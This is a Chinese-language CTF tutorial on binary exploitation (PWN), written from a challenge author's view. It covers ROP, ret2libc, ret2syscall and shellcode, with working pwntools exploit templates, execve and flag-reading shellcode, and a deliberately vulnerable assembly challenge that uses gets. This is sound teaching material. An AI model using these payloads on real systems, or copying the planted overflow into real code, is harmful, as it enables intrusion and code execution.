PWN 入门教程

一位出题人视角的二进制安全入门 · 从环境配置到 ROP 利用

栈溢出 ROP ret2libc 出题人视角 CTF PWN
写在前面:这篇文章是我基于自己的 PWN 出题经验写的。我自己出了一整套从易到难的 PWN 训练题(从 ret2text 到加密算法 + ROP 混合利用),本文会以 ret2syscall 这道题为主线案例,带新人从出题人的角度理解 PWN 的基础知识、常见漏洞、利用手法和学习路径。

文章前大部分以入门基础为主,目标是调动读者对二进制安全的兴趣。后小部分是对未来进阶方向的指引和建议。

1. PWN 环境配置

PWN 题目跑在 Linux 上,本地得先搭一套能用的环境。下面列的是最常用的一套工具链。

更新与基础依赖

sudo apt upgrade
sudo apt install vim gcc clang make git curl wget build-essential \
  libncursesw5-dev libgdbm-dev libc6-dev tk-dev openssl \
  libxml2-dev libxslt-dev libmysqlclient-dev libsqlite3-dev \
  zlib1g-dev python2-dev python3-pip libffi-dev libssl-dev \
  ruby-dev virtualenv proxychains4

安装 pwntools

pip3 install --upgrade pwntools
# 有些老题目需要 python2 版本
pip2 install --upgrade pwntools

调试器:pwndbg + Pwngdb

git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# 配置 ~/.gdbinit
echo "source ~/pwndbg/gdbinit.py" >> ~/.gdbinit

其他工具

工具安装干什么用
patchelfapt install patchelf替换 ELF 的动态链接库
ROPgadgetpip3 install ROPgadget找 gadget
ropperpip3 install ropper找 gadget(备选)
one_gadgetgem install one_gadget找 libc 里的万能 gadget
seccomp-toolsgem install seccomp-tools看程序有没有沙箱
glibc-all-in-onegit clone https://github.com/matrix1001/glibc-all-in-one.git下载指定版本的 libc
qemu-systemapt install qemu-system跑 ARM/MIPS 架构的题目
推荐装 oh-my-zsh,Tab 补全文件路径很方便,还能回滚之前输过的命令。

2. x86 基础回顾

前置要求:之前关于 x86 汇编和栈框架的文章已有详细讲解,这里仅做快速回顾。如果你对栈、寄存器、栈帧结构还不熟悉,建议你先读完那篇再回来。

PWN 的核心就是想办法控制 EIP(指令指针寄存器)。不管是栈溢出、格式化字符串还是堆利用,终点都是让 EIP 指向攻击者想要的位置。下面的内容只聚焦于 PWN 里最常用的几个概念。

关键寄存器的 PWN 视角

寄存器在 PWN 中的意义
EIP 控制它等于控制了程序执行流 —— 整个 PWN 的最终目标
EAX 函数返回值;32位下传系统调用号(如 execve = 11)
EBX 32位 syscall 第1参数(execve 时需指向 "/bin/sh")
ECX 32位 syscall 第2参数
EDX 32位 syscall 第3参数(execve 时需置 0)
ESP 栈指针 — 控制 ESP 等于控制了 ROP 链跑在哪儿
EBP 帧指针 — 可被利用于 leave;ret 栈迁移

栈帧快速参考

栈从高地址向低地址生长,每个函数调用在栈上留下如下结构:

栈帧结构速览 高地址(栈底) 调用者的栈帧 参数 n ... 参数 1 返回地址 (RET) ← EBP+4 保存的 EBP (旧 ebp) ← EBP 局部变量 1 ← EBP-4 局部变量 2 ← EBP-8 ... 低地址(栈顶)← ESP
函数调用时栈帧的标准结构 — ROP 利用的就是覆盖返回地址

函数调用生命周期速览

函数调用生命周期 Step 1 调用前 从右往左 push 参数 call → 压入返回地址 → Step 2 函数序 push ebp mov ebp, esp; sub esp, N → Step 3 函数体 [ebp+8] 取参数 [ebp-4] 取局部变量 → Step 4+5 ★ 函数跋 + 清理 mov esp, ebp pop ebp → ret(弹出 EIP)
Step 4/5 的 ret 指令就是 ROP 的起点 — 它把栈顶值弹到 EIP
一句话总结:如果我们在栈上的返回地址位置填入攻击者控制的地址,ret 后 EIP 就会跳到那里。这就是所有栈溢出利用的基础。

3. 栈溢出原理

什么叫栈溢出?简单说就是:往栈上某个变量里写的数据超过了变量本身申请的空间,把相邻的数据给覆盖了。

轻则程序崩掉,重则攻击者控制程序执行流程。

触发栈溢出需要两个条件同时满足:

  1. 程序确实往栈上写了数据
  2. 写入的大小没有做限制(或者限制不够)
栈溢出 — 覆盖返回地址 溢出前(正常状态) 返回地址 (RET) Old EBP buf[16] ← 16 字节空间 → 溢出后(被劫持) ← 覆盖为后门地址 ← 被覆盖 AAAAAAAAAAAA... 溢出数据填满 buf 和 EBP, 最后覆盖 RET ret 时跳到这里
溢出时 buf 写满后继续向上覆盖 EBP 和 RET,函数返回时 EIP 就被劫持了

常见危险函数

类别函数问题
输入gets不限制长度,一直读到换行
输入scanf格式串可控时可能越界
输入vscanf同上
输出sprintf输出可能超出目标缓冲区
字符串strcpy遇到 \x00 才停,不检查目标长度
字符串strcat追加拼接,不检查总长度
字符串bcopy参数长度可能被攻击者控制

基本利用流程

  1. 找危险函数 — IDA 里看有没有 gets、scanf 等
  2. 算填充长度 — 变量地址到 EBP 的距离 + EBP 自身的长度(32位 4 字节,64位 8 字节)
  3. 覆盖返回地址 — 填上目标地址(后门函数 / gadget / shellcode 地址)
注意 \x00 截断。 strcpy、strcat、strcmp、strlen 这些遇到 \x00 就停了。如果 payload 里必须包含 \x00(比如 64 位地址的高位),这类函数就不能用了。

4. 基本 ROP

NX 保护开启后,栈和堆上不能直接执行代码,传统的注入 shellcode 的路就走不通了。于是有了返回导向编程(Return Oriented Programming)。

ROP 的核心想法很简单:程序本身(还有它加载的 libc)里已经有很多现成的机器指令片段(gadgets),把它们一个个串起来就能实现任意功能。

ROP 需要两个前提:① 能劫持返回地址;② 能找到需要的 gadgets 以及它们的地址。

ret2text — 返回到 text 段

原理

最基础的 ROP 题型。程序里本来就有 system("/bin/sh") 之类的后门函数,你只需要覆盖返回地址跳过去就行了。典型场景是 gets 不限制输入长度。

解题步骤

  1. checksec 看保护(最好 No PIE、No canary)
  2. IDA 里找后门函数地址,看变量到 EBP 的距离
  3. 填充 buf + EBP,然后把 RET 盖成后门地址
ret2text payload 布局 填充数据 (buf + EBP + padding) 长度 = offset "A" * offset p64(backdoor) 后门函数地址 → 程序跳转到 system("/bin/sh")
ret2text 的 payload 就两部分:填充 + 后门地址

交互脚本模板

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'

debug = 0  # 打远程时改成 1
if debug:
    r = remote('ip', port)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.interactive()

ret2shellcode — 执行 shellcode

原理

程序没有后门函数,但 NX 没开(或者用 mprotect 开了可执行权限)。这时候直接往可执行区域写 shellcode,然后跳过去。

解题步骤

  1. 看保护:NX 必须关闭
  2. 找栈溢出点
  3. 确认 shellcode 放的位置有执行权限
  4. 算好偏移,把返回地址指向 shellcode

生成 shellcode

# 获取 shell
shellcode = shellcraft.sh()

# open-read-write(沙箱逃不了 shell 时用)
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30)
shellcode += shellcraft.write(1, 0x123000 + 0x100, 0x30)

手写 shellcode

execve("/bin/sh", 0, 0)

shellcode = '''
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,59
syscall
'''

open-read-write 读 flag

shellcode = """
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
"""
在线汇编 / 反汇编工具:http://shell-storm.org/online/Online-Assembler-and-Disassembler/

ret2syscall — 系统调用

原理

不依赖 libc,直接触发系统调用来 getshell。用户态通过 syscall(64位)或 int 0x80(32位)切换到内核态执行相应的功能。

关键系统调用号

功能32位 (eax)64位 (rax)
read30
open52
write41
sigreturn77 (0x4D)15 (0xF)
execve11 (0xB)59 (0x3B)

利用示例

# 64位:execve("/bin/sh", NULL, NULL)
# rax=59, rdi="/bin/sh", rsi=0, rdx=0
p = p64(pop_rax_ret) + p64(59)
p += p64(pop_rdi_ret) + p64(bin_sh_addr)
p += p64(pop_rsi_ret) + p64(0)
p += p64(pop_rdx_ret) + p64(0)
p += p64(syscall_addr)
# 32位:通过 int 0x80
# eax=11, ebx="/bin/sh", ecx=0, edx=0
p += p32(pop_eax_ret) + p32(11)
p += p32(pop_ebx_ret) + p32(bin_sh_addr)
p += p32(pop_ecx_ret) + p32(0)
p += p32(pop_edx_ret) + p32(0)
p += p32(int_0x80_addr)
64位 execve 系统调用 — 寄存器设置 RAX = 59 (0x3B) execve 系统调用号 RDI = "/bin/sh" 地址 第1个参数:要执行的程序路径 RSI = 0 第2个参数:argv = NULL RDX = 0 第3个参数:envp = NULL syscall → getshell
ret2syscall 的核心就是通过 gadgets 把四个寄存器设好,最后执行 syscall

ret2libc — 利用 libc 函数

大部分情况下程序里没有现成的后门函数,也没有足够的 gadgets 来直接拼系统调用。但 libc 一定会被加载 —— libc 里有 system、有 "/bin/sh" 字符串。ret2libc 的思路就是:先泄露 libc 的基址,然后算出 system 和 "/bin/sh" 的位置,最后调用它们。

前置知识:延迟绑定

C 语言的内置函数(printf、puts、read 等)都在 libc 里。程序启动时并不会立即解析它们的地址,而是等到第一次调用时才去查,这叫延迟绑定。

延迟绑定流程 PLT call puts@plt → jmp [puts@got] → 首次:解析 → 之后:直接跳 → GOT puts@got: 初次:0x400506 解析后:0x7f... ↑ libc 中的 puts → libc.so puts 函数体(偏移 0x80e50) system 函数体(偏移 0x50d70) "/bin/sh" 字符串(偏移 ...) 泄露 puts@got 算出 libc基址
泄露 GOT 拿到 libc 地址 → 计算基址 → 调用 system("/bin/sh")

情景一:有 system + 有 "/bin/sh"

最简单的 ret2libc,程序调得了 system,而且 IDA 里能搜到 "/bin/sh" 字符串。

# ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' 找 pop_rdi_ret
pop_rdi_ret = 0x400xxx
bin_sh = 0x400xxx       # IDA 搜到的地址
system_plt = elf.plt['system']

payload = b'a' * offset
payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(payload)

情景二:有 system,但没 "/bin/sh"

用 gets() 往 bss 段写一个 "/bin/sh",然后调 system。

pop_rdi_ret = 0x400xxx
buf = 0x601xxx           # bss 段可写地址
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']

payload = b'a' * offset
payload += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt)  # gets(buf)
payload += p64(pop_rdi_ret) + p64(buf) + p64(system_plt) # system(buf)

r.sendline(payload)
r.sendline(b'/bin/sh\x00')  # gets 读入

情景三:无 system 也无 "/bin/sh"(标准 ret2libc)

这才是最常见的场景。核心就两步:

Step 1: 泄露 puts(puts@got) libc_base = leak - puts_offset → Step 2: 利用 system = libc_base + system_offset bin_sh = libc_base + binsh_offset → getshell system(bin_sh)
ret2libc 的标准两阶段攻击

Step 1 — 泄露 libc 基址

pop_rdi_ret = 0x400xxx
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

payload = b'a' * offset
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendline(payload)

# 接收泄露的地址
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']

Step 2 — getshell

libc = ELF('./libc.so.6')
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload2 = b'a' * offset
payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()

堆栈平衡(Stack Alignment)

64 位系统里,有些指令(特别是 movaps,操作 XMM 寄存器时用的)要求 RSP 必须是 16 字节对齐。如果 ROP 链执行到 libc 函数时莫名其妙崩了,多半是这个原因。解决方案很简单:在 ROP 链开头多加一个 ret gadget 来对齐。

ROPgadget --binary ./pwn --only 'ret'
ret = 0x400xxx
payload = b'a' * offset + p64(ret) + p64(pop_rdi_ret) + ...

32 位 ret2libc 的区别

32 位程序通过栈传参,不需要找 pop rdi。构造 payload 的时候直接把参数跟在函数地址后面就行:

# 32 位:函数地址 + 返回地址(随意填)+ 参数列表
payload = b'a' * offset
payload += p32(system_plt)   # 函数
payload += p32(0xdeadbeef)   # 返回地址
payload += p32(bin_sh)       # 第1个参数:"/bin/sh"

5. 实战剖析:ret2syscall 出题思路

前面几章都是在讲「攻击者怎么做」。这一节,我们换位到出题人的视角,来看一个具体的例子:ret2syscall 挑战。通过这个案例,你会理解出题人如何在二进制中刻意埋设利用条件,形成一道 PWN 题。

题目位置:D:\Cyber_Range\work.test\ret2syscall\test4-ret2syscall
保护机制:32 位,NX 开启,无 PIE,无 Canary
漏洞类型:栈溢出(gets)→ ROP → syscall

出题人的设计思路

这道题的核心概念非常直观:

出题素材准备

题目用纯汇编(rop.S)编写,出题人人为地在 .text 段中放置了以下关键要素:

要素作用
int80_ret 执行 int 0x80; ret — 触发系统调用
pop_eax_ret 执行 pop eax; ret — 设置系统调用号(11 = execve)
pop_edx_ecx_ebx_ret 执行 pop edx; pop ecx; pop ebx; ret — 设置三个参数
/bin/sh 字符串 在 .rodata 段中存放的 "/bin/sh"
gets PLT 调用 提供一个明显的栈溢出入口
rop.S 源代码中「种」的利用要素 int80_ret → pop_eax_ret → pop_edx_ecx_ebx_ret → "/bin/sh" 出题人通过这 4 个要素让解题者可以组装出完整的 execve 调用链

源码分析

核心汇编代码的结构如下:

; rop.S — 出题人视角的源码结构
section .text
global _start

pop_eax_ret:
    pop eax          ; 0x58
    ret              ; 0xC3

pop_edx_ecx_ebx_ret:
    pop edx          ; 0x5A
    pop ecx          ; 0x59
    pop ebx          ; 0x5B
    ret              ; 0xC3

int80_ret:
    int 0x80         ; 0xCD 0x80
    ret              ; 0xC3

_start:
    ; 分配栈空间并调用 gets
    sub esp, 0x100
    lea eax, [esp]
    push eax
    call gets        ; 栈溢出入口!
    add esp, 4

    ; 正常退出
    xor eax, eax
    add esp, 0x100
    ret

section .rodata
binsh:
    db "/bin/sh", 0

我们可以看到每个 gadget 的地址就是其标号在内存中的位置。因为这是静态链接且无 PIE,这些地址在编译时就已固定。

解题思路

解题者需要构造的 payload 布局如下:

# payload 布局(从低地址到高地址)
offset = 0x100 + 4   # buffersz + saved_ebp

payload  = b'A' * offset          # 填充到返回地址
payload += p32(pop_eax_ret)       # 执行 pop eax; ret
payload += p32(11)                # eax = 11 (execve syscall number)
payload += p32(pop_edx_ecx_ebx_ret)  # 设置三个参数
payload += p32(0)                 # edx = 0
payload += p32(0)                 # ecx = 0
payload += p32(binsh_addr)        # ebx = "/bin/sh" 地址
payload += p32(int80_ret)         # 执行 int 0x80 → execve("/bin/sh", 0, 0)

这个链条运行时,CPU 依次执行:

步骤执行内容效果
1pop eax → 11EAX = 11(execve 的系统调用号)
2pop edx; pop ecx; pop ebxEDX=0, ECX=0, EBX=addr("/bin/sh")
3int 0x80触发系统调用 → 获取 shell
出题人留下的「后门」:题目中所有的 gadget 地址都是固定的(无 PIE),并且 /bin/sh 字符串已提前存放在 .rodata 中。对解题者来说,只需要通过 gets 覆盖返回地址,将 gadget 按正确顺序串联即可。这也是本题叫做「test4-ret2syscall」的原因 —— 在这套训练题中,它是一道循序渐进的基础题。

从这道题学到什么

6. 常用工具

gadget 查找

ROPgadget

# 找 pop rdi; ret(控制第1个参数)
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'

# 找字符串
ROPgadget --binary ./pwn --string '/bin/sh'

# 找 leave; ret(栈迁移用)
ROPgadget --binary ./pwn --only 'leave|ret' | grep 'leave'

# 找 ret 指令(堆栈平衡)
ROPgadget --binary ./pwn --only 'ret'

# 自动生成 ROP 链(仅限静态编译的程序)
ROPgadget --binary ./pwn --ropchain
注意:如果 gadget 是 pop rdi ; pop rbx ; ret,后面要填两个值(rdi + rbx)。

one_gadget

libc 里有些"万能"的 gadget,设好某些条件后一条地址就能 getshell:

one_gadget ./libc.so.6
one_gadget -l2 ./libc.so.6   # 更多选项

libc 操作

查看 libc 版本

strings ./libc.so.6 | grep GNU
# 输出类似:GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.

下载指定 libc(glibc-all-in-one)

cd glibc-all-in-one
python3 update_list
cat list                      # 确认里面有你要的版本
./download 2.35-0ubuntu3.4_amd64
# 下载好的文件在 libs/ 目录下

在线 libc 查询

题目没给 libc 文件?泄露两个已知函数的地址,去 https://libc.rip/ 查一下就能确定版本。

patchelf 换 libc

本地调试需要换 libc 来匹配远程环境。libc 和 ld 必须换同一个版本,否则跑不起来。

# 先看当前用的是哪些库
ldd ./pwn

# 换 libc
patchelf --replace-needed libc.so.6 ./libs/2.35/libc.so.6 ./pwn

# 换 ld
patchelf --set-interpreter ./libs/2.35/ld-linux-x86-64.so.2 ./pwn

其他工具速查

checksec

checksec ./pwn
# 显示:Arch, RELRO, Stack canary, NX, PIE

gdb 常用命令

命令作用
gdb filename启动调试
r开始运行
c继续执行到断点
n单步(不进入函数)
s单步(进入函数)
b *0x400xxx下断点
fin跳出当前函数
x/20gx 地址查看 20 个 8 字节数据
x/10i $rip查看当前指令附近的反汇编
vmmap查看内存映射(pwndbg)
code查看程序基址(pwndbg)

IDA 快捷键

快捷键用途
n重命名变量/函数
y改函数原型或变量类型
tab汇编 ↔ 伪代码
space列表 ↔ 图形
f12字符串窗口
/加注释

nc — 连远程

nc ip port

7. 进阶指引

到这里,你已经掌握了 PWN 入门最核心的几条路径:从栈溢出到基本 ROP,再到 ret2libc 和 ret2syscall。但二进制安全的世界远不止这些。以下是一些值得继续探索的方向:

保护机制速查

保护全称作用gcc 关闭参数
ASLR Address Space Layout Randomization 堆栈和共享库地址随机化 sysctl -w kernel.randomize_va_space=0
RELRO RELocation Read-Only Full RELRO 时 GOT 不可写 -z norelro / -z lazy / -z now
Canary Stack Guard 栈溢出检测(rbp-0x8 处) -fno-stack-protector
NX Non-eXecute 堆栈不可执行 -z execstack
PIE Position Independent Executable 代码段地址随机化 -no-pie

推荐学习路线

基础巩固

进阶方向

堆利用 (Heap)

从 fastbin attack 到 tcache poisoning,从 use-after-free 到 house of 系列。堆利用是 PWN 的高阶必修课。

高级 ROP

SROP、Stack Pivot、ret2dlresolve、BROP。当保护全开时的进阶利用手段。

seccomp / orw

当题目限制了 execve 时,需要用 open-read-write 的方式逐字节读取 flag。

Linux 内核 PWN

从用户态进入内核态:KASLR bypass、modprobe_path、cred 覆盖等。

补充知识点

ELF 节区速览

节区内容
.init / .fini进程初始化和收尾代码
.plt / .got动态链接跳转表和全局入口表
.text代码段
.rodata只读数据(字符串常量等)
.data已初始化的全局变量和静态变量
.bss未初始化的全局/静态变量(不占文件空间)

随机数绕过

如果程序用 libc 的 rand(),可以通过 ctypes 在 Python 中加载同样的 libc 来预测序列:

from ctypes import *
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(seed)
for i in range(21):
    v6 = (libc.rand() ^ 0x24) + 1
    r.sendlineafter('input: ', str(v6))

文件类型判断

file ./pwn
# ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /ld-linux-x86-64.so.2

seccomp 沙箱检查

挑战中有沙箱限制时,可以用 seccomp-tools 查看规则:

seccomp-tools dump ./pwn

推荐资源


作者:GOD · NULL

来源:技术

校对:GOD · NULL

复核:公开资料整理

版本:持续更新